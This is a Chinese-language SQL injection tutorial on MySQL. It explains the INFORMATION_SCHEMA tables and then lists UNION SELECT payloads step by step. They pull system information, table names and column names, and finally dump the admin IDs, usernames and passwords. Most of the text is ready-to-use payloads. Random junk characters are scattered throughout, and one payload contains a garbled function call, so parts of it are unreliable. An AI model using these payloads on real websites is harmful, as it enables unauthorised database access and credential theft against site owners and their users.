mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
7 T# S. s5 d- d7 v8 H, C, K/ ^
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
" }! M  o/ j# F% x1.得到所有数据库名：
" t. O) u/ B% O|SCHEMATA ->存储数据库名的表
7 D6 e; S. {1 j$ {5 |1 `, A6 ]5 f|---字段：SCHEMA_NAME ->数据库名称
/ T  ]7 t8 F) D
8 R5 i) K5 D5 X) k; ~* t|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 S! C% n+ N$ U; o+ Y  Y; v|---字段：TABLE_NAME ->存储表的表名
7 D6 `; |  R( v- u: ~7 w" k2 K
9 J* L+ m6 A9 J+ [7 z2 }( L/ q' J|COLUMNS ->存储的字段名表
' D8 Y* a% D  r  T; U; }! M|---字段：TABLE_SCHEMA ->该字段所属数据库名
, i' I5 S9 P! y- j8 C( g; `- H! W+ z|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称



###########################################################################

6 [1 f+ M. ^: j( }; X) F6 C0x001 获取系统信息:
" Q: Q5 m& N* X4 d
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

+ Z8 A+ q5 K; Q) U8 p@@global.version_compile_os 获取系统版本
  _" ^" l& H' O
. `+ c9 }3 X3 b( ~6 g: v! ?@@datadir 数据库路径
8 ~: Y4 K% n4 R6 X' T  Q' Y  adatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/
" r8 b" f8 r& E( o" B# s

" ]% s0 W/ L  d& u8 U
######################################################################

0x002 获取表名

- b; V( ]7 C6 {1 junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

% N$ c3 u. b; g  V

/*
$ \7 C9 l, |# ~; x$ b9 H7 Y2 @
0x67617264656e 为当前数据库名
6 f) f4 j/ Q$ C6 Y& a
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

; f2 C! @/ F- q0 _5 _1 S*/
) V* }6 M- f7 x: J, I+ Y
######################################################################
- ^+ e' f* d2 d1 t8 s


5 y/ L, E8 e+ E1 F# N0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

7 X  E" Q: I. c& P3 J! N6 pgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

% T( O& k- j4 f% e- l0x61646d696e ->选择一个表

0x67617264656e ->数据库名
8 W# ]/ `: s8 X* g0 [4 e2 O7 u& n: [
! W- M9 e- M0 M+ F- F*/
3 F& h# C+ x; t
#####################################################################
' P. m5 F5 @: S0 I  [
& c0 I& s7 S1 Z9 F

# c- H  }8 ~. W! t& O/ r3 u) Y0x004 获取数据
3 |4 }" h  v) z; x& G* Z5 k5 t: V
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
6 y7 T  m! @# h* @) `" ^! B
# U/ j4 u: ]  M# K/ H; }3 aunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 s6 J0 E, L% g
$ ?1 ^% L5 f$ M5 t$ `

/*

' Y2 z( c% x) {( ^5 M0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
! o, [: U. R7 }4 P( `
% |. H7 x. {5 P* d*/